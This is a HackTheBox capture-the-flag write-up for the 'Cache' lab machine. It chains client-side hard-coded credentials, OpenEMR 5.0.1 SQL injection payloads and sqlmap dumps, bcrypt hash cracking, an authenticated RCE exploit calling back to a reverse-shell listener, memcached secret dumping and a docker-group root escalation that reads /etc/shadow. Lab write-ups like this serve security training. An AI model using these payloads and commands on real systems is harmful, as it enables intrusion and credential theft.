Cache - Write-up - HackTheBox

Information

Box#

Cache

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

$ pacman -S nmap lynx ffuf exploitdb metasploit sqlmap john docker

Network enumeration#

Quick nmap scan:

# Nmap 7.80 scan initiated Fri Jun 12 13:19:40 2020 as: nmap -sSVC -p- -oA nmap_full 10.10.10.188
Nmap scan report for 10.10.10.188
Host is up (0.021s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
|   256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
|_  256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 12 13:20:07 2020 -- 1 IP address (1 host up) scanned in 26.73 seconds

Let's set the local domain in /etc/hosts:

$ cat /etc/hosts | grep cache
10.10.10.188 cache.htb

HTTP enumeration & discovery#

Let's see which pages are listed on the home page:

$ lynx -dump -listonly -nonumbers http://cache.htb/index.html
http://cache.htb/index.html
http://cache.htb/news.html
http://cache.htb/contactus.html
http://cache.htb/login.html
http://cache.htb/author.html

If we look at the source of login.html we can see this script is included:

<script src="jquery/functionality.js"></script>
$(function(){

    var error_correctPassword = false;
    var error_username = false;

    function checkCorrectPassword(){
        var Password = $("#password").val();
        if(Password != 'H@v3_fun'){
            alert("Password didn't Match");
            error_correctPassword = true;
        }
    }
    function checkCorrectUsername(){
        var Username = $("#username").val();
        if(Username != "ash"){
            alert("Username didn't Match");
            error_username = true;
        }
    }
    $("#loginform").submit(function(event) {
        /* Act on the event */
        error_correctPassword = false;
         checkCorrectPassword();
         error_username = false;
         checkCorrectUsername();


        if(error_correctPassword == false && error_username ==false){
            return true;
        }
        else{
            return false;
        }
    });

});

So the creds are:

  • username: ash
  • password: H@v3_fun

That let us access to http://cache.htb/net.html, a page under construction. This is just a troll.

At http://cache.htb/author.html, the author is talking about another project: HMS.

hms page or directory don't exist; lets' try to enumerate more with ffuf.

$ ffuf -u http://cache.htb/FUZZ -r -c -w ~/CTF/tools/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt -e .txt,.html -fc 403

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.1.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://cache.htb/FUZZ
 :: Wordlist         : FUZZ: /home/noraj/CTF/tools/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt
 :: Extensions       : .txt .html
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response status: 403
________________________________________________

login.html              [Status: 200, Size: 2421, Words: 389, Lines: 106]
index.html              [Status: 200, Size: 8193, Words: 902, Lines: 339]
news.html               [Status: 200, Size: 7231, Words: 948, Lines: 100]
author.html             [Status: 200, Size: 1522, Words: 180, Lines: 68]
.                       [Status: 200, Size: 8193, Words: 902, Lines: 339]
contactus.html          [Status: 200, Size: 2539, Words: 283, Lines: 148]
jquery                  [Status: 200, Size: 951, Words: 65, Lines: 17]
net.html                [Status: 200, Size: 290, Words: 23, Lines: 19]
:: Progress: [114801/114801] :: Job [1/1] :: 1739 req/sec :: Duration: [0:01:06] :: Errors: 0 ::

That didn't gave us new pages. In fact guessing was required to find another virtual host.

$ ffuf -u http://10.10.10.188/ -r -c -w ~/CTF/tools/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt -H 'Host: FUZZ.htb' -fs 8193

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.1.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.188/
 :: Wordlist         : FUZZ: /home/noraj/CTF/tools/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt
 :: Header           : Host: FUZZ.htb
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response size: 8193
________________________________________________

hms                     [Status: 200, Size: 7850, Words: 1925, Lines: 159]
:: Progress: [38267/38267] :: Job [1/1] :: 911 req/sec :: Duration: [0:00:42] :: Errors: 0 ::

Let's add this entry in /etc/hosts too.

$ cat /etc/hosts | grep hms
10.10.10.188 hms.htb

We are quickly redirected to http://hms.htb/interface/login/login.php?site=default

HTTP exploitation (OpenEMR): SQLi#

Its seems we have an openEMR instance.

There are many exploits but we don't know which version this is.

Usually I never go to EDB website and only use searchsploit, but this time we don't know the version used, the only thing we know is that is was a version probably released in 2018 as the copyright is from 2018.

By searching on EDB website, we have the date of publication of the exploit. So with some luck we can begin with the exploits published in 2018.

https://www.exploit-db.com/search?q=openemr

But those two exploits require authentication. No luck.

So let's see what exploits are also in [Metasploit][msf]:

msf5 > search openemr

Matching Modules
================

   #  Name                                             Disclosure Date  Rank       Check  Description
   -  ----                                             ---------------  ----       -----  -----------
   0  auxiliary/sqli/openemr/openemr_sqli_dump         2019-05-17       normal     Yes    OpenEMR 5.0.1 Patch 6 SQLi Dump
   1  exploit/unix/webapp/openemr_sqli_privesc_upload  2013-09-16       excellent  Yes    OpenEMR 4.1.1 Patch 14 SQLi Privilege Escalation Remote Code Execution
   2  exploit/unix/webapp/openemr_upload_exec          2013-02-13       excellent  Yes    OpenEMR PHP File Upload Vulnerability

The first one seems promising, let's set it up:

msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > options

Module options (auxiliary/sqli/openemr/openemr_sqli_dump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.10.188     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the OpenEMR installation
   VHOST      hms.htb          no        HTTP server virtual host

When we run it we can see the exploit works, but it seems poorly written because it is trying to dump all system tables (295) and it's pretty slow.

msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > run
[*] Running module against 10.10.10.188

[*] DB Version: 5.7.30-0ubuntu0.18.04.1
[*] Enumerating tables, this may take a moment...
[*] Identified 295 tables.
[*] Dumping table (1/295): CHARACTER_SETS
[*] Dumping table (2/295): COLLATIONS

So let's exit that, the msf module will take hours to extract all those useless tables.

Now we know the this SQLi is working let's see what exploit it is exactly:

msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > info

       Name: OpenEMR 5.0.1 Patch 6 SQLi Dump
     Module: auxiliary/sqli/openemr/openemr_sqli_dump
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-05-17

Provided by:
  Will Porter <will.porter@lodestonesecurity.com>

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     10.10.10.188     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       The base path to the OpenEMR installation
  VHOST      hms.htb          no        HTTP server virtual host

Description:
  This module exploits a SQLi vulnerability found in OpenEMR version
  5.0.1 Patch 6 and lower. The vulnerability allows the contents of
  the entire database (with exception of log and task tables) to be
  extracted. This module saves each table as a `.csv` file in your
  loot directory and has been tested with OpenEMR 5.0.1 (3).

References:
  https://cvedetails.com/cve/CVE-2018-17179/
  https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617

In metasploit you can use the edit command to open your default editor on the source code of the module. By doing that I read the code of the msf module and saw how to detect openEMR version with method openemr_version:

def openemr_version
   res = send_request_cgi(
     'method' => 'GET',
     'uri' => normalize_uri(uri, 'admin.php')
   )
   vprint_status("admin.php response code: #{res.code}")
   document = Nokogiri::HTML(res.body)
   document.css('tr')[1].css('td')[3].text
 rescue StandardError
   ''
 end

Let's just go to http://hms.htb/admin.php to check the version installed:

We have exactly 5.0.1 (3).

Now by reading get_response method we know which endpoint is requested and which parameter is vulnerable.

def get_response(payload)
  response = send_request_cgi(
    'method' => 'GET',
    'uri' => normalize_uri(uri, 'interface', 'forms', 'eye_mag', 'taskman.php'),
    'vars_get' => {
      'action' => 'make_task',
      'from_id' => '1',
      'to_id' => '1',
      'pid' => '1',
      'doc_type' => '1',
      'doc_id' => '1',
      'enc' => "1' and updatexml(1,concat(0x7e, (#{payload})),0) or '"
    }
  )
  response
end

Before dumping anything we can verify manually the URL:

Fine, we can now fire [sqlmap][sqlmap], retrieve DBMS banner:

$ sqlmap -u 'http://hms.htb/interface/forms/eye_mag/taskman.php?action=make_task&from_id=1&to_id=1&pid=1&doc_type=1&doc_id=1&enc=1' -p enc -b --random-agent
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.4.4#stable}
|_ -| . [.]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:51:36 /2020-07-14/

[21:51:36] [INFO] fetched random HTTP User-Agent header value 'Opera/8.51 (X11; Linux i686; U; en)' from file '/opt/sqlmap/data/txt/user-agents.txt'
[21:51:37] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('OpenEMR=b9g6um1rbhc...dmd5cln601'). Do you want to use those [Y/n] n
[21:52:08] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
[21:52:08] [INFO] testing if the target URL content is stable
[21:52:38] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)
[21:54:08] [CRITICAL] connection timed out to the target URL
[21:54:08] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[21:54:24] [CRITICAL] can't check dynamic content because of lack of page content
[21:54:24] [INFO] heuristic (basic) test shows that GET parameter 'enc' might be injectable (possible DBMS: 'MySQL')
[21:54:24] [INFO] testing for SQL injection on GET parameter 'enc'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
[21:54:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:55:29] [WARNING] there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests
[21:55:29] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)
[21:56:25] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)
[21:57:55] [CRITICAL] connection timed out to the target URL
[21:58:25] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)
[21:59:55] [CRITICAL] connection timed out to the target URL
[22:00:25] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)
[22:01:55] [CRITICAL] connection timed out to the target URL
[22:02:25] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)
there seems to be a continuous problem with connection to the target. Are you sure that you want to continue? [y/N] N
[22:03:36] [ERROR] user quit
[22:03:36] [WARNING] you haven't updated sqlmap for more than 84 days!!!

[*] ending @ 22:03:36 /2020-07-14/

It's kinda working but pretty slow and unstable, so let's find another endpoint as it seems there are many SQLi.

There is a document OpenEMR v5.0.1.3 - Vulnerability Report for exactly the same version as us. A dozen of SQLi are listed here.

portal/find_appt_popup_user.php?catid=1' AND (SELECT 0FROM(SELECT COUNT(*),CONCAT(@@VERSION,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- -

portal/add_edit_event_user.php?eid=1 AND EXTRACTVALUE(0,CONCAT(0x5c,VERSION()))

interface/forms/eye_mag/php/Anything_simple.php?display=i&encounter=1' AND (SELECT 0 FROM(SELECT COUNT(*),CONCAT(@@VERSION,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- -&category_name=POSTSEG

interface/forms_admin/forms_admin.php?id=32' OR (SELECT 0 FROM(SELECT COUNT(*),CONCAT(@@VERSION,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- -&method=enable

interface/de_identification_forms/find_code_popup.php?search_status=1&search_term=')+or+updatexml(null,concat(0x0a,version()),null)--+-&bn_search=Search

interface/de_identification_forms/find_immunization_popup.php?search_status=1&search_term=')+or+updatexml(null,concat(0x0a,version()),null)--+-&bn_search=Search

interface/de_identification_forms/find_code_popup.php?search_status=1&search_term=')+or+updatexml(null,concat(0x0a,version()),null)--+-&bn_search=Search

The ones in 3.1 and 3.2 (portal) seems to give a SQL error while those from 3.3 to 3.9 seem to require authentication.

Those two request won't works because we need valid cookies even if the attack is unauthenticated. Also we need to fill the registration form with random data even if we never receive the confirmation email, this will set a valid cookie.

$ sqlmap -u 'http://hms.htb/portal/add_edit_event_user.php?eid=1' -p eid --random-agent --threads 10 --batch -b
$ sqlmap -u 'http://hms.htb/portal/find_appt_popup_user.php?catid=1' -p catid --random-agent --threads 10 --batch -b

So we have to add the --cookie option:

$ sqlmap -u 'http://hms.htb/portal/add_edit_event_user.php?eid=1' -p eid --cookie 'OpenEMR=jcn4a7ce07kbngbo7r9rolttgu; PHPSESSID=fcfeq8h77phga1bs6b1cshh64e' --random-agent --threads 10 --batch -b
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.4.4#stable}
|_ -| . [,]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:28:23 /2020-07-14/

[23:28:23] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1' from file '/opt/sqlmap/data/txt/user-agents.txt'
[23:28:23] [INFO] resuming back-end DBMS 'mysql'
[23:28:23] [INFO] testing connection to the target URL
[23:28:23] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: eid (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: eid=(SELECT (CASE WHEN (8435=8435) THEN 1 ELSE (SELECT 1164 UNION SELECT 9741) END))

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: eid=1 AND EXTRACTVALUE(4452,CONCAT(0x5c,0x71787a7a71,(SELECT (ELT(4452=4452,1))),0x717a716271))

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: eid=1 AND (SELECT 5294 FROM (SELECT(SLEEP(5)))KKhg)

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: eid=1 UNION ALL SELECT NULL,NULL,CONCAT(0x71787a7a71,0x73535a4b567775646f4d7849526d4b6d4a697572466f44734446724d5072526b7079474c6a616242,0x717a716271),NULL-- -
---
[23:28:23] [INFO] the back-end DBMS is MySQL
[23:28:23] [INFO] fetching banner
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.1
banner: '5.7.30-0ubuntu0.18.04.1'
[23:28:23] [INFO] fetched data logged to text files under '/home/noraj/.sqlmap/output/hms.htb'
[23:28:23] [WARNING] you haven't updated sqlmap for more than 84 days!!!

[*] ending @ 23:28:23 /2020-07-14/

Alternatively you can store the raw HTTP request in a file:

GET /portal/add_edit_event_user.php?eid=1 HTTP/1.1
Host: hms.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: OpenEMR=jcn4a7ce07kbngbo7r9rolttgu; PHPSESSID=fcfeq8h77phga1bs6b1cshh64e
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

And then tell sqlmap to use this req file:

$ sqlmap -r "$(pwd)/sqli.req" --random-agent --threads 10 --batch -b

Now let's use sqlmap dump options.

--dbs

available databases [2]:
[*] information_schema
[*] openemr

-D openemr --tables

Database: openemr
[234 tables]
+---------------------------------------+
| array                                 |
| groups                                |
| sequences                             |
...
| user_settings                         |
| users                                 |
| users_facility                        |
| users_secure                          |
| valueset                              |
| voids                                 |
| x12_partners                          |
+---------------------------------------+

-D openemr -T users --columns

-D openemr -T users -C username,password --dump

Database: openemr
Table: users
[3 entries]
+-----------------+--------------+
| username        | password     |
+-----------------+--------------+
| openemr_admin   | NoLongerUsed |
| phimail-service | NoLogin      |
| portal-user     | NoLogin      |
+-----------------+--------------+

It seems not to be the right table, lets' try this one instead.

-D openemr -T users_secure -C username,password --dump

Database: openemr
Table: users_secure
[1 entry]
+---------------+--------------------------------------------------------------+
| username      | password                                                     |
+---------------+--------------------------------------------------------------+
| openemr_admin | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. |
+---------------+--------------------------------------------------------------+

Let's put the hash in a file to crack it with [JtR][JtR]:

$ printf %s '$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.' > hash.txt
$ john -w /usr/share/wordlists/password/rockyou.txt --format=bcrypt hash.txt
Warning: invalid UTF-8 seen reading /usr/share/wordlists/password/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xxxxxx           (?)
1g 0:00:00:01 DONE (2020-07-15 00:51) 0.6369g/s 722.2p/s 722.2c/s 722.2C/s water..zombie
Use the "--show" option to display all of the cracked passwords reliably
Session completed
$ john --show hash.txt
?:xxxxxx

1 password hash cracked, 0 left

Now we have some creds: openemr_admin / xxxxxx.

HTTP exploitation (OpenEMR): RCE#

Now we will be able to use the authenticated RCE we found earlier.

Warning: Using EDB-48515 that has a neutral impact rather than EDB-45161 that will reset the config to default for everyone!!!

$ searchsploit -m 48515
  Exploit: OpenEMR 5.0.1 - Remote Code Execution
      URL: https://www.exploit-db.com/exploits/48515
     Path: /usr/share/exploitdb/exploits/php/webapps/48515.py
File Type: ASCII text, with CRLF line terminators

Copied to: /home/noraj/CTF/HackTheBox/machines/Cache/48515.py

Let's modify, the remote URL, the LHOST, LPORT, and admin creds.

Then start a listener & start the exploit:

$ pwncat -l 8888 -vv
INFO: Listening on :::8888 (family 10/IPv6, TCP)
INFO: Listening on 0.0.0.0:8888 (family 2/IPv4, TCP)
INFO: Client connected from 10.10.10.188:32838 (family 2/IPv4, TCP)
Linux cache 4.15.0-109-generic #110-Ubuntu SMP Tue Jun 23 02:39:32 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 23:11:40 up 32 min,  0 users,  load average: 0.07, 0.02, 0.03
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

$ python2 48515.py
[+] Authentication with credentials provided please be patient
[+] Uploading a payload it will take a minute
[+] You should be getting a shell

Afterward I created my own exploit for OpenEMR RCE: https://github.com/noraj/OpenEMR-RCE

$ ruby OpenEMR-RCE/exploit.rb auto -r http://hms.htb -u openemr_admin -p xxxxxx -h 10.10.15.201 -t 8888
$ ruby OpenEMR-RCE/exploit.rb semi-auto -r http://hms.htb -u openemr_admin -p xxxxxx -h 10.10.15.201 -t 8888 -m 'php/reverse_php'
$ ruby OpenEMR-RCE/exploit.rb manual -r http://hms.htb -u openemr_admin -p xxxxxx -s tmp548.php

Elevation of Privilege (EoP): www-data to ash#

We can use the credentials (ash / H@v3_fun) we found at the beginning.

$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@cache:/$ su ash
su ash
Password: H@v3_fun

ash@cache:/$ cd
cd
ash@cache:~$ cat user.txt
cat user.txt
aebbdcd5e2a33812b7db84f42f124ea5

But this is totally optional it's possible to jump over this step and directly elevate to user luffy from www-data.

Elevation of Privilege (EoP): ash to luffy#

Let's see open TCP sockets:

$ ss -nlpt
State    Recv-Q    Send-Q        Local Address:Port        Peer Address:Port
LISTEN   0         128           127.0.0.53%lo:53               0.0.0.0:*
LISTEN   0         128                 0.0.0.0:22               0.0.0.0:*
LISTEN   0         80                127.0.0.1:3306             0.0.0.0:*
LISTEN   0         128               127.0.0.1:11211            0.0.0.0:*
LISTEN   0         128                    [::]:22                  [::]:*
LISTEN   0         128                    [::]:11211               [::]:*
LISTEN   0         128                       *:80                     *:*

Ohoh we have port 11211 used by memcached.

We can confirm the process is running:

$ ps -ef f | grep memcached
memcache  1125     1  0 22:39 ?        Ssl    0:00 /usr/bin/memcached -m 64 -p 11211 -u memcache -l 127.0.0.1 -P /var/run/memcached/memcached.pid
ash       6235  5474  0 23:30 pts/1    S+     0:00  |                           \_ grep --color=auto memcached
www-data  4693  4669  0 23:04 ?        Sl     0:00  |               \_ memcached

Let's check some advices on HackTricks: 11211 - Pentesting Memcache

$ telnet 127.0.0.1 11211
telnet 127.0.0.1 11211
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
version
version
VERSION 1.5.6 Ubuntu

stats items
stats items
STAT items:1:number 5
...

stats cachedump 1 0
stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END

get user
get user
VALUE user 0 5
luffy
END

get passwd
get passwd
VALUE passwd 0 9
0n3_p1ec3
END

get file
get file
VALUE file 0 7
nothing
END

get account
get account
VALUE account 0 9
afhj556uo
END

quit
quit

Now we can use the creds: luffy / 0n3_p1ec3.

$ su luffy
su luffy
Password: 0n3_p1ec3

luffy@cache:/$ cd
cd
luffy@cache:~$

Elevation of Privilege (EoP): luffy to root#

We can see there is docker running and the user is in docker group.

$ id
uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),999(docker)
$ ps -ef f | grep docker
ps -ef f | grep docker
root       918     1  0 22:39 ?        Ssl    0:05 /usr/bin/dockerd -H fd://
root      1358   918  0 22:39 ?        Ssl    0:04  \_ containerd --config /var/run/docker/containerd/containerd.toml --log-level info
root      6934  1358  0 23:45 ?        Sl     0:00      \_ containerd-shim -namespace moby -workdir /var/lib/docker/containerd/daemon/io.containerd.runtime.v1.linux/moby/f211bc4cffb910b8c45b09d9eeec6c9483af4fff6222a5ca7c211aef6ca3bc94 -address /var/run/docker/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc

Being in docker group is like being root because of the capabilities.

My reflex is to check GTFOBins if there are some ready to use payloads for EoP, and there is.

Let's find what images are available:

$ docker images
docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              latest              2ca708c1c9cc        10 months ago       64.2MB

So let's spawn a shell through a shared volume:

luffy@cache:~$ docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash
docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash
root@ae6411b77a1e:/# cd
cd
root@ae6411b77a1e:~# cat root.txt
cat root.txt
44f998eb5112e763883b6ae36279a432
root@ae6411b77a1e:~# cat /etc/shadow | grep root
cat /etc/shadow | grep root
root:$6$bWa.Lbnz$k0KbMyNbdOQRcY5pWuHM2bfkF5ek8c0CTNsi00qFHmp04NqcefCsIXZTdJgqToRar5zcEk5k8KFhbIomGB3Kb/:18178:0:99999:7:::
Share